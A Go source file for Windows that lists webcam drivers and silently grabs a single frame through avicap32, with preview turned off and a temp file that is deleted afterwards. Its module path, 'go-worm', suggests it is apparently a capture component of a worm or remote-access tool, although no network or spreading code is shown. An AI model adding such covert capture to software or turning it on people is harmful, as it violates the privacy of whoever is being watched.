//go:build windows package webcam import ( "errors" "fmt" "os" "path/filepath" "sync" "syscall" "unsafe" "tea.chunkbyte.com/kato/go-worm/lib/models" ) // ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices. var ErrDeviceNotFound = errors.New("webcam not found") var ( avicap32 = syscall.NewLazyDLL("avicap32.dll") user32 = syscall.NewLazyDLL("user32.dll") procCapCreateCaptureWindowW = avicap32.NewProc("capCreateCaptureWindowW") procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW") procSendMessageW = user32.NewProc("SendMessageW") procDestroyWindow = user32.NewProc("DestroyWindow") captureMu sync.Mutex ) const ( wmUser = 0x0400 wmCapStart = wmUser wmCapUnicodeStart = wmUser + 100 wmCapDriverConnect = wmCapStart + 10 wmCapDriverDisconnect = wmCapStart + 11 wmCapFileSaveDIBW = wmCapUnicodeStart + 25 wmCapGrabFrame = wmCapStart + 60 wmCapSetPreview = wmCapStart + 50 wmCapSetScale = wmCapStart + 53 wsPopup = 0x80000000 maxDrivers = 10 ) type Device struct { Index int `json:"index"` Name string `json:"name"` Version string `json:"version,omitempty"` } func List() ([]Device, error) { var out []Device for i := 0; i < maxDrivers; i++ { nameBuf := make([]uint16, 128) verBuf := make([]uint16, 128) ok, _, _ := procCapGetDriverDescriptionW.Call( uintptr(i), uintptr(unsafe.Pointer(&nameBuf[0])), uintptr(len(nameBuf)), uintptr(unsafe.Pointer(&verBuf[0])), uintptr(len(verBuf)), ) if ok == 0 { continue } name := syscall.UTF16ToString(nameBuf) if name == "" { continue } out = append(out, Device{ Index: i, Name: name, Version: syscall.UTF16ToString(verBuf), }) } return out, nil } func Capture(index int, format string, quality int) (models.CapturedImage, error) { captureMu.Lock() defer captureMu.Unlock() devices, err := List() if err != nil { return models.CapturedImage{}, err } found := false for _, d := range devices { if d.Index == index { found = true break } } if !found { return models.CapturedImage{}, ErrDeviceNotFound } title, err := syscall.UTF16PtrFromString("win64_mp_webcam") if err != nil { return models.CapturedImage{}, err } hwnd, _, callErr := procCapCreateCaptureWindowW.Call( uintptr(unsafe.Pointer(title)), wsPopup, 0, 0, 320, 240, 0, 0, ) if hwnd == 0 { return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr) } defer procDestroyWindow.Call(hwnd) ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0) if ok == 0 { return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index) } defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0) _, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0) _, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0) ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0) if ok == 0 { return models.CapturedImage{}, errors.New("grab frame failed") } tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp") if err != nil { return models.CapturedImage{}, err } tmpPath := tmp.Name() _ = tmp.Close() defer os.Remove(tmpPath) pathPtr, err := syscall.UTF16PtrFromString(tmpPath) if err != nil { return models.CapturedImage{}, err } ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr))) if ok == 0 { // Some drivers only accept ANSI SAVEDIB. ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath)) if err != nil { return models.CapturedImage{}, errors.New("save frame failed") } ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath))) if ok == 0 { return models.CapturedImage{}, errors.New("save frame failed") } } raw, err := os.ReadFile(tmpPath) if err != nil { return models.CapturedImage{}, err } img, err := decodeBMP(raw) if err != nil { return models.CapturedImage{}, err } data, contentType, err := encodeImage(img, format, quality) if err != nil { return models.CapturedImage{}, err } b := img.Bounds() return models.CapturedImage{ ContentType: contentType, Data: data, Width: b.Dx(), Height: b.Dy(), }, nil }